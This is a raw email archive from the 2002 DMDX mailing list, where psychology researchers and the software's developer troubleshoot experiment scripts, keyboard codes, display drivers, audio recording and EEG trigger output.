Oct 2002 17:17:01 -0700 Message-Id: <5.1.0.14.2.20021021171318.00b132d0@psy1.psych.arizona.edu> Date: Mon, 21 Oct 2002 17:16:59 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: write to o/p file In-Reply-To: <001501c27957$34a15860$706c9a89@PYSCMASTERS06> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 09:11 AM 10/22/2002 +1000, you wrote: >I'm trying to get my existing programs running on another system. > >1) An continual error that I encounter is ""Write to output file >failed Disk Full. > So is the disk full? Maybe DMDX doesn't have write privilege (happens with NTFS pretty easily, almost impossible with 9X). Perhaps Scandisk needs to be run because the machines's file system is not integral (ie it's busted and needs to be fixed). >2) Another is pixel incompatibility when setting up on another laptop. >I have run timdx and tried to fine tune the sleep and retrace times. Old laptops and their display drivers are terrible. Perhaps you'll have to limit display modes to 256 colors on older machines. > >I think I am missing the point somewhere in this procedure >arch /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ I like the word 'indolence.' It makes my laziness seem classy. - Bern Williams >From DMDX-owner@psy1.psych.arizona.edu Tue Oct 22 03:37:08 2002 Received: from ws3-4.us4.outblaze.com (205-158-62-94.outblaze.com [205.158.62.94]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with SMTP id g9MAagMS003012 for ; Tue, 22 Oct 2002 03:36:42 -0700 Received: (qmail 5844 invoked by uid 1001); 22 Oct 2002 10:33:31 -0000 Message-ID: <20021022103331.5843.qmail@email.com> Content-Type: text/plain; charset=""iso-8859-15"" Content-Transfer-Encoding: 7bit MIME-Version: 1.0 Received: from [210.47.16.192] by ws3-4.us4.outblaze.com with http for wgm-psy@email.com; Tue, 22 Oct 2002 05:33:31 -0500 From: ""wang gm"" To: DMDX@psy1.psych.arizona.edu Date: Tue, 22 Oct 2002 05:33:31 -0500 Subject: [DMDX] Re: Why DMDX didn't go on? Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hello, Mr Forster, Thank you for your advice very much! I've solved this problem with a hard work under your advice. Yes, DMDX did wait for a request, because I write the control words inappropriately. I wrote """", this is wrong of course. I just write , the problem is solved. Thank you very much! G.M. Wang _________________________________ ----- Original Message ----- From: ""j.c.f."" Date: Sat, 19 Oct 2002 21:22:24 -0700 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: Why DMDX didn't go on? > At 09:33 PM 10/19/2002 -0500, you wrote: > > >So I think it's not because of the button. But Why DMDX can't go on? I'm > >so confused, please tell me the answer. > > My guess is it can't go on because it never gets a request because the > mapping of the space bar to the request is not working. Somehow. > > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > Economics is extremely useful as a form of employment for > economists. > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > -- __________________________________________________________ Sign-up for your own FREE Personalized E-mail at Mail.com http://www.mail.com/?sr=signup >From DMDX-owner@psy1.psych.arizona.edu Tue Oct 22 10:15:47 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9MHFOMS003806 for ; Tue, 22 Oct 2002 10:15:25 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.11) by phobos.email.Arizona.EDU (6.0.053) id 3DB548AC00009CD2 for DMDX@psy1.psych.arizona.edu; Tue, 22 Oct 2002 10:12:21 -0700 Message-Id: <5.1.0.14.2.20021022100553.00b12878@psy1.psych.arizona.edu> Date: Tue, 22 Oct 2002 10:12:21 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] TimeDX 3.0.05 Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list There's a new version 3.0.05 of TimeDX on the web site that has a small change to the Input Test that provides the binary ID of keys as well as their name. This is pursuant to building a fail safe keyboard input device in DMDX that doesn't care what language has been used to describe the keyboard. But before I do it I need to know whether the binary IDs for the keys DMDX would use are in fact common across languages. So on my US windows I see that: #42 is the left shift key, #54 is the right shift key and #57 is the space bar. If people with international versions of windows would kindly install the latest software and report whether their keys have the same IDs I will proceed to build the new input device. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Economics is extremely useful as a form of employment for economists. >From DMDX-owner@psy1.psych.arizona.edu Tue Oct 22 13:05:11 2002 Received: from smtp2.wiscmail.wisc.edu (donner.doit.wisc.edu [144.92.197.184]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9MK46MS004242 for ; Tue, 22 Oct 2002 13:04:06 -0700 Received: from conversion-daemon.smtp2.doit.wisc.edu by smtp2.doit.wisc.edu (iPlanet Messaging Server 5.2 HotFix 0.8 (built Jul 12 2002)) id <0H4E00601F1ZSJ@smtp2.doit.wisc.edu> for DMDX@psy1.psych.arizona.edu; Tue, 22 Oct 2002 14:59:11 -0500 (CDT) Received: from CurtinOffice (b187.psych.wisc.edu [144.92.195.187]) by smtp2.doit.wisc.edu (iPlanet Messaging Server 5.2 HotFix 0.8 (built Jul 12 2002)) with SMTP id <0H4E003KXFIM8Y@smtp2.doit.wisc.edu> for DMDX@psy1.psych.arizona.edu; Tue, 22 Oct 2002 14:59:11 -0500 (CDT) Date: Tue, 22 Oct 2002 14:56:55 -0500 From: ""John J. Curtin"" Subject: [DMDX] output keyword and counters To: DMDX@psy1.psych.arizona.edu Message-id: MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7BIT Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Is it possible to use a counter rather than a constant with the output keyword ? I ask because we control a shock generator with the io card and would like to be able to vary shock intensity (set with 8 bits of the io card) based on task performance. Therefore, we cannot hard code the output values as constants but need to be able to adjust online during execution of the script (which could be easily accomplished with counters, etc). Also, can counters accommodate the full 24bit range required if we use the middle (B) and upper (A) ports of the PIO12Output24 device? Thanks J John J. Curtin, Ph.D. Assistant Professor of Psychology University of Wisconsin 1202 W. Johnson St. Madison, WI 53706 Office: 608-262-0387 Lab: 608-262-5621 Cell: 608-217-6221 Email: jjcurtin@wisc.edu >From DMDX-owner@psy1.psych.arizona.edu Tue Oct 22 13:29:32 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9MKTSMS004339 for ; Tue, 22 Oct 2002 13:29:28 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.11) by phobos.email.Arizona.EDU (6.0.053) id 3DB5B05200000870; Tue, 22 Oct 2002 13:26:23 -0700 Message-Id: <5.1.0.14.2.20021022131803.00b12878@psy1.psych.arizona.edu> Date: Tue, 22 Oct 2002 13:26:23 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: output keyword and counters In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 02:56 PM 10/22/2002 -0500, you wrote: >Is it possible to use a counter rather than a constant with the output >keyword ? No. I've toyed with the idea of making any keyword that uses a single parameter be able to use a counter instead, but it's such a massive thing to do I can't predict the repercussions -- I'm sure there's something that will break but I haven't been able to think of it yet. However your past donations to the DMDX cause will serve you in good stead here and I can make the output keyword use an optional counter instead. > I ask because we control a shock generator with the io >card and would like to be able to vary shock intensity (set with 8 bits of >the io card) based on task performance. Therefore, we cannot hard code the >output values as constants but need to be able to adjust online during >execution of the script (which could be easily accomplished with counters, >etc). Also, can counters accommodate the full 24bit range required if we >use the middle (B) and upper (A) ports of the PIO12Output24 device? Counters are 32 bit entities so the 24 bits of output are no problem. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Economics is extremely useful as a form of employment for economists. >From DMDX-owner@psy1.psych.arizona.edu Wed Oct 23 04:02:44 2002 Received: from avocado.pc.helsinki.fi (IDENT:Iqv9DOaHtCIYfYyN0WAsmsmlxFsRDY0B@avocado.pc.helsinki.fi [128.214.74.73]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9NB2DMS005762 for ; Wed, 23 Oct 2002 04:02:13 -0700 Received: from cbru.helsinki.fi (kardinaali.pc.helsinki.fi [128.214.149.59]) by avocado.pc.helsinki.fi (8.11.6/8.11.6) with ESMTP id g9NGJfJ24321 for ; Wed, 23 Oct 2002 14:19:42 -0200 Message-ID: <3DB682BD.F31F7478@cbru.helsinki.fi> Date: Wed, 23 Oct 2002 14:06:38 +0300 From: Tom Campbell MIME-Version: 1.0 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Visual 2AFC with warning tone gets hung Content-Type: multipart/mixed; boundary=""------------EEFA9F7E5168D0DE8BD54DC9"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list This is a multi-part message in MIME format. --------------EEFA9F7E5168D0DE8BD54DC9 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Dear j.c.f., ken and other experts, I would be very grateful if you would be so kind as to assist me with this problem that I suspect may reside in the parameter line. I have written a task that presents a warning tone-a 400 ms wav containing 200 msec of tone followed by 200 msec of silence- concurrently with a bmp -which is a fixation cross. This fixation cross is presented for 500 msec such that offset of wav and bmp synchronise- and then a new bmp image is presented for an intended 1 second (86 frame durations(0.011627907 s)). The idea is that either of two responses on a button box then causes the next trial to begin and RT to the onset of second BMP is written to azk without feedback. For some reason the video mode results in the images being rather wider than they were originally so I have used the bm command to resize them to their original proportions. Running DMDX with the diagnostic box checked permits everything to run smoothly and no tick disorder is apparent. However, in practice when a participant is doing the task, the task stop half way through. The second BMP disappears and neither response causes the next trial to begin. I include the whole task in this circumstance as the problem can arise on even the 280th of 285 trials. Best regards, Tom Campbell. s162 f146 $ +10001 /* ! ""nonemotionalleft.bmp"";$ \\ +0 /""framefix.bmp""/""1kHz.wav""%0/ * ! ""a000.bmp""/; +0 /""framefix.bmp""/""1kHz.wav""%0/ * ! ""a000.bmp""/; ...snip... +19 /""framefix.bmp""/""1kHz.wav""%0/ * ! ""h100.bmp""/; +19 /""framefix.bmp""/""1kHz.wav""%0/ * ! ""h100.bmp""/; \\ $+10001 * ! ""Thanks. Please await experimenter's instructions."";$ --------------EEFA9F7E5168D0DE8BD54DC9 Content-Type: text/x-vcard; charset=us-ascii; name=""tom.vcf"" Content-Transfer-Encoding: 7bit Content-Description: Card for Tom Campbell Content-Disposition: attachment; filename=""tom.vcf"" begin:vcard n:Campbell;Tom tel;cell:+358 4 154 09764 tel;fax:+358 9 191 29450 tel;work:+358 9 191 29487 x-mozilla-html:TRUE version:2.1 email;internet:tom.campbell@cbru.helsinki.fi title:Research Fellow note:PLEASE SEE MY CV: http://www.cbru.helsinki.fi/~tom/ adr;quoted-printable:;;Cognitive Brain Research Unit, Department of Psychology, PO BOX 9 (Siltavuorenpenger 20 C), 00014 University of Helsinki, Finland. =0D=0A ;;;; fn:Dr Tom Campbell end:vcard --------------EEFA9F7E5168D0DE8BD54DC9-- >From DMDX-owner@psy1.psych.arizona.edu Wed Oct 23 07:52:06 2002 Received: from smtp2.wiscmail.wisc.edu (donner.doit.wisc.edu [144.92.197.184]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9NEpkMS006375 for ; Wed, 23 Oct 2002 07:51:47 -0700 Received: from conversion-daemon.smtp2.doit.wisc.edu by smtp2.doit.wisc.edu (iPlanet Messaging Server 5.2 HotFix 0.8 (built Jul 12 2002)) id <0H4F00L01V6QRC@smtp2.doit.wisc.edu> for DMDX@psy1.psych.arizona.edu; Wed, 23 Oct 2002 09:48:40 -0500 (CDT) Received: from CurtinOffice (b187.psych.wisc.edu [144.92.195.187]) by smtp2.doit.wisc.edu (iPlanet Messaging Server 5.2 HotFix 0.8 (built Jul 12 2002)) with SMTP id <0H4F00IG0VT3VM@smtp2.doit.wisc.edu> for DMDX@psy1.psych.arizona.edu; Wed, 23 Oct 2002 09:48:39 -0500 (CDT) Date: Wed, 23 Oct 2002 09:46:23 -0500 From: ""John J. Curtin"" Subject: [DMDX] RE: Visual 2AFC with warning tone gets hung In-reply-to: <3DB682BD.F31F7478@cbru.helsinki.fi> To: DMDX@psy1.psych.arizona.edu Message-id: MIME-version: 1.0 Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7BIT Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I would suggest turning off scrambling first to help determine which line of the script is causing the problem. J John J. Curtin, Ph.D. Assistant Professor of Psychology University of Wisconsin 1202 W. Johnson St. Madison, WI 53706 Office: 608-262-0387 Lab: 608-262-5621 Cell: 608-217-6221 Email: jjcurtin@wisc.edu -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu]On Behalf Of Tom Campbell Sent: Wednesday, October 23, 2002 6:07 AM To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Visual 2AFC with warning tone gets hung Dear j.c.f., ken and other experts, I would be very grateful if you would be so kind as to assist me with this problem that I suspect may reside in the parameter line. I have written a task that presents a warning tone-a 400 ms wav containing 200 msec of tone followed by 200 msec of silence- concurrently with a bmp -which is a fixation cross. This fixation cross is presented for 500 msec such that offset of wav and bmp synchronise- and then a new bmp image is presented for an intended 1 second (86 frame durations(0.011627907 s)). The idea is that either of two responses on a button box then causes the next trial to begin and RT to the onset of second BMP is written to azk without feedback. For some reason the video mode results in the images being rather wider than they were originally so I have used the bm command to resize them to their original proportions. Running DMDX with the diagnostic box checked permits everything to run smoothly and no tick disorder is apparent. However, in practice when a participant is doing the task, the task stop half way through. The second BMP disappears and neither response causes the next trial to begin. I include the whole task in this circumstance as the problem can arise on even the 280th of 285 trials. Best regards, Tom Campbell. s162 f146 $ +10001 /* ! ""nonemotionalleft.bmp"";$ \\ +0 /""framefix.bmp""/""1kHz.wav""%0/ * ! ""a000.bmp""/; +0 /""framefix.bmp""/""1kHz.wav""%0/ * ! ""a000.bmp""/; ...snip... +19 /""framefix.bmp""/""1kHz.wav""%0/ * ! ""h100.bmp""/; +19 /""framefix.bmp""/""1kHz.wav""%0/ * ! ""h100.bmp""/; \\ $+10001 * ! ""Thanks. Please await experimenter's instructions."";$ >From DMDX-owner@psy1.psych.arizona.edu Wed Oct 23 07:55:40 2002 Received: from smtp2.wiscmail.wisc.edu (donner.doit.wisc.edu [144.92.197.184]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9NEtcMS006409 for ; Wed, 23 Oct 2002 07:55:38 -0700 Received: from conversion-daemon.smtp2.doit.wisc.edu by smtp2.doit.wisc.edu (iPlanet Messaging Server 5.2 HotFix 0.8 (built Jul 12 2002)) id <0H4F00501VT8MG@smtp2.doit.wisc.edu> for DMDX@psy1.psych.arizona.edu; Wed, 23 Oct 2002 09:52:32 -0500 (CDT) Received: from CurtinOffice (b187.psych.wisc.edu [144.92.195.187]) by smtp2.doit.wisc.edu (iPlanet Messaging Server 5.2 HotFix 0.8 (built Jul 12 2002)) with SMTP id <0H4F00I8AVZ0VM@smtp2.doit.wisc.edu> for DMDX@psy1.psych.arizona.edu; Wed, 23 Oct 2002 09:52:13 -0500 (CDT) Date: Wed, 23 Oct 2002 09:49:57 -0500 From: ""John J. Curtin"" Subject: [DMDX] RE: Re: output keyword and counters In-reply-to: <5.1.0.14.2.20021022131803.00b12878@psy1.psych.arizona.edu> To: DMDX@psy1.psych.arizona.edu Message-id: MIME-version: 1.0 Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7BIT Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Thanks Jonathan. As always, I am very appreciative of your continued support and development. Thanks J John J. Curtin, Ph.D. Assistant Professor of Psychology University of Wisconsin 1202 W. Johnson St. Madison, WI 53706 Office: 608-262-0387 Lab: 608-262-5621 Cell: 608-217-6221 Email: jjcurtin@wisc.edu -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu]On Behalf Of j.c.f. Sent: Tuesday, October 22, 2002 3:26 PM To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: output keyword and counters At 02:56 PM 10/22/2002 -0500, you wrote: >Is it possible to use a counter rather than a constant with the output >keyword ? No. I've toyed with the idea of making any keyword that uses a single parameter be able to use a counter instead, but it's such a massive thing to do I can't predict the repercussions -- I'm sure there's something that will break but I haven't been able to think of it yet. However your past donations to the DMDX cause will serve you in good stead here and I can make the output keyword use an optional counter instead. > I ask because we control a shock generator with the io >card and would like to be able to vary shock intensity (set with 8 bits of >the io card) based on task performance. Therefore, we cannot hard code the >output values as constants but need to be able to adjust online during >execution of the script (which could be easily accomplished with counters, >etc). Also, can counters accommodate the full 24bit range required if we >use the middle (B) and upper (A) ports of the PIO12Output24 device? Counters are 32 bit entities so the 24 bits of output are no problem. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Economics is extremely useful as a form of employment for economists. ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== >From DMDX-owner@psy1.psych.arizona.edu Wed Oct 23 09:55:32 2002 Received: from dux1.tcd.ie (dux1.tcd.ie [134.226.1.23]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9NGtKMS006752 for ; Wed, 23 Oct 2002 09:55:21 -0700 Received: from gway.tcd.ie (psy168248.psy.tcd.ie [134.226.168.248]) by dux1.tcd.ie (Postfix) with ESMTP id B9AAE5F7 for ; Wed, 23 Oct 2002 17:52:07 +0100 (IST) Message-Id: <5.1.0.14.0.20021023174234.00a8c230@mail.tcd.ie> Date: Wed, 23 Oct 2002 17:43:08 +0100 To: DMDX@psy1.psych.arizona.edu From: Paul Dockree Subject: [DMDX] sending triggers to neuroscan Mime-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1""; format=flowed Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list > > >I have recently set up a test of attention presenting visual stimuli in >DMDX in the form of .bmp files. I need to send triggers to neuroscan (EEG >software) to mark each visual presentation. Any advice on how I might do >this would be appreiciated. > >Kind regards, > >Paul. > > >------------------------------------------ >Paul Dockree > >Department of Psychology >�ras an Phiarsaigh >University of Dublin >Trinity College >Dublin 2 >Ireland > >Tel: +353 (0)1 608 3083 ------------------------------------------ Paul Dockree Department of Psychology �ras an Phiarsaigh University of Dublin Trinity College Dublin 2 Ireland Tel: +353 (0)1 608 3083 >From DMDX-owner@psy1.psych.arizona.edu Wed Oct 23 10:11:25 2002 Received: from smtp2.wiscmail.wisc.edu (donner.doit.wisc.edu [144.92.197.184]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9NHBJMS006820 for ; Wed, 23 Oct 2002 10:11:19 -0700 Received: from conversion-daemon.smtp2.doit.wisc.edu by smtp2.doit.wisc.edu (iPlanet Messaging Server 5.2 HotFix 0.8 (built Jul 12 2002)) id <0H4G00A0120ZF8@smtp2.doit.wisc.edu> for DMDX@psy1.psych.arizona.edu; Wed, 23 Oct 2002 12:08:10 -0500 (CDT) Received: from CurtinOffice (b187.psych.wisc.edu [144.92.195.187]) by smtp2.doit.wisc.edu (iPlanet Messaging Server 5.2 HotFix 0.8 (built Jul 12 2002)) with SMTP id <0H4G007JY29LS9@smtp2.doit.wisc.edu> for DMDX@psy1.psych.arizona.edu; Wed, 23 Oct 2002 12:08:09 -0500 (CDT) Date: Wed, 23 Oct 2002 12:05:53 -0500 From: ""John J. Curtin"" Subject: [DMDX] RE: sending triggers to Neuroscan In-reply-to: <5.1.0.14.0.20021023174234.00a8c230@mail.tcd.ie> To: DMDX@psy1.psych.arizona.edu Message-id: MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 8BIT Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list d119 f1 1 o1 ""neg"" <% 360>/; 2 o2 ""pos"" <% 360>/; 3 o2 ""pos"" <% 360>/; 4 o1 ""neg"" <% 360>/; Use keyword in the header to run IOcard in non-latched mode. The 5 indicates that output will revert to hold value after 5ms. Set the hold value (I use 255) to match hold value in the ns setup file. Then simply use the (or o) keyword in each item in the same frame as you present the bmp file to mark the onset of the bmp presentation. In the above example, using a refresh of 60hz, two slides (a negative and positively valent slide) are presented for approx 6 s on a specific trial and I mark the valence of the slide with the output code sent to the ns physio file. ISI of approx 2s J John J. Curtin, Ph.D. Assistant Professor of Psychology University of Wisconsin 1202 W. Johnson St. Madison, WI 53706 Office: 608-262-0387 Lab: 608-262-5621 Cell: 608-217-6221 Email: jjcurtin@wisc.edu -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu]On Behalf Of Paul Dockree Sent: Wednesday, October 23, 2002 11:43 AM To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] sending triggers to neuroscan > > >I have recently set up a test of attention presenting visual stimuli in >DMDX in the form of .bmp files. I need to send triggers to neuroscan (EEG >software) to mark each visual presentation. Any advice on how I might do >this would be appreiciated. > >Kind regards, > >Paul. > > >------------------------------------------ >Paul Dockree > >Department of Psychology >�ras an Phiarsaigh >University of Dublin >Trinity College >Dublin 2 >Ireland > >Tel: +353 (0)1 608 3083 ------------------------------------------ Paul Dockree Department of Psychology �ras an Phiarsaigh University of Dublin Trinity College Dublin 2 Ireland Tel: +353 (0)1 608 3083 ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== >From DMDX-owner@psy1.psych.arizona.edu Wed Oct 23 10:30:31 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9NHULMS006920 for ; Wed, 23 Oct 2002 10:30:21 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.053) id 3DB69B640000AA35 for DMDX@psy1.psych.arizona.edu; Wed, 23 Oct 2002 10:27:15 -0700 Message-Id: <5.1.0.14.2.20021023102646.00b132e0@psy1.psych.arizona.edu> Date: Wed, 23 Oct 2002 10:27:14 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] international keyboard woes Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list So no one cares about international keyboard trouble? Fine, I'll leave it out. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ I like the word 'indolence.' It makes my laziness seem classy. - Bern Williams >From DMDX-owner@psy1.psych.arizona.edu Wed Oct 23 10:49:22 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9NHnJMS007013 for ; Wed, 23 Oct 2002 10:49:19 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.053) id 3DB69B640000B99A for DMDX@psy1.psych.arizona.edu; Wed, 23 Oct 2002 10:46:12 -0700 Message-Id: <5.1.0.14.2.20021023103229.00b1c458@psy1.psych.arizona.edu> Date: Wed, 23 Oct 2002 10:46:12 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: sending triggers to neuroscan In-Reply-To: <5.1.0.14.0.20021023174234.00a8c230@mail.tcd.ie> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 05:43 PM 10/23/2002 +0100, you wrote: >>I have recently set up a test of attention presenting visual stimuli in >>DMDX in the form of .bmp files. I need to send triggers to neuroscan >>(EEG software) to mark each visual presentation. Any advice on how I >>might do this would be appreiciated. You've got a PIO card? Check TimeDX's help and related links if not: http://psy1.psych.arizona.edu/~jforster/dmdx/help/timedxhpiotest.htm /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ I like the word 'indolence.' It makes my laziness seem classy. - Bern Williams >From DMDX-owner@psy1.psych.arizona.edu Wed Oct 23 12:11:49 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9NIeTMS007139 for ; Wed, 23 Oct 2002 11:40:29 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.053) id 3DB69B640000E470 for DMDX@psy1.psych.arizona.edu; Wed, 23 Oct 2002 11:37:22 -0700 Message-Id: <5.1.0.14.2.20021023113233.00b13250@psy1.psych.arizona.edu> Date: Wed, 23 Oct 2002 11:37:22 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] RecordVocal Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Not that expect anyone to actually provide me with info but I'll ask anyway. Has anyone been using RecordVocal under Windows 2000 or XP yet? We've got some anomalous behavior from a machine down stairs that I would normally attribute to drivers but a laptop also throws error which makes me suspicious. Basically something interrupts DMDX for hundreds of ticks and causes RecordVocal to toss and error about invalid parameters to the lock function. Updating drivers on the machines which would be my normal response might be impossible because the drivers might not exist and rather than go to all the hassle of installing a known good audio device I'd like to know that someone has in fact got DirectSoundCatupre stuff (RecordVocal and DigitalVOX) functioning under 2k/XP. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ It is easier to write an incorrect program than understand a correct one. >From DMDX-owner@psy1.psych.arizona.edu Wed Oct 23 12:40:15 2002 Received: from copland.udel.edu (copland.udel.edu [128.175.13.92]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9NJGmMS007270 for ; Wed, 23 Oct 2002 12:16:48 -0700 Received: from localhost (hyi@localhost) by copland.udel.edu (8.9.3/8.9.3) with ESMTP id PAA21440 for ; Wed, 23 Oct 2002 15:13:36 -0400 (EDT) Date: Wed, 23 Oct 2002 15:13:36 -0400 (EDT) From: Heejong Yi To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: international keyboard woes In-Reply-To: <5.1.0.14.2.20021023102646.00b132e0@psy1.psych.arizona.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I do care about the international keyboard. I am running windows 98 and I haven't successed to present any text in Korean. I make them all in image files. It was really pain. In the keyboard control, I don't see the option for Korean keyboard. I know Window XP has it. Are there any ways to display non romanized character in DMDX? Thank you so much. heejong On Wed, 23 Oct 2002, Jonathan C. Forster wrote: > > So no one cares about international keyboard trouble? Fine, I'll leave > it out. > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > I like the word 'indolence.' It makes my laziness seem classy. > - Bern Williams > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > >From DMDX-owner@psy1.psych.arizona.edu Wed Oct 23 15:51:31 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9NMouMS007633 for ; Wed, 23 Oct 2002 15:50:56 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.053) id 3DB69B640001B6F9 for DMDX@psy1.psych.arizona.edu; Wed, 23 Oct 2002 15:47:48 -0700 Message-Id: <5.1.0.14.2.20021023154455.00b132e0@psy1.psych.arizona.edu> Date: Wed, 23 Oct 2002 15:47:48 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: international keyboard woes In-Reply-To: References: <5.1.0.14.2.20021023102646.00b132e0@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu 